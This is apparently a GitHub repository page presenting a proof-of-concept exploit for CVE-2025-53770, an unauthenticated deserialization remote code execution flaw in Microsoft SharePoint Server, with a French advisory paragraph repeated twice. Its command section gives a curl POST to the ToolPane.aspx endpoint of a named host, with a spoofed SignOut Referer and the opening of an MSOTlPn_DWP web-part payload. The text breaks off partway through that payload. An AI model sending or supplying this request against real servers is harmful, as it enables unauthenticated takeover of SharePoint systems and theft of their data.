harryhaxor/cve-2025-53770-sharepoint-deserialization-rce-poc
Une vulnérabilité critique dans Microsoft SharePoint Server permet une exécution de code à distance non authentifiée via la désérialisation de données non fiables. Microsoft est conscient d'une exploitation active ; appliquez immédiatement les mesures d'atténuation du CVE. Gravité : Critique.
Une vulnérabilité critique dans Microsoft SharePoint Server permet une exécution de code à distance non authentifiée via la désérialisation de données non fiables. Microsoft est conscient d'une exploitation active ; appliquez immédiatement les mesures d'atténuation de CVE. Gravité : Critique.
commandes
curl -sk -X POST 'https://reeaccated.com/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx'
-H 'Referer: /_layouts/SignOut.aspx'
-H 'Content-Type: application/x-www-form-urlencoded'
--data-urlencode 'MSOTlPn_Uri=https://reeaccated.com'
--data-urlencode 'MSOTlPn_DWP=
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
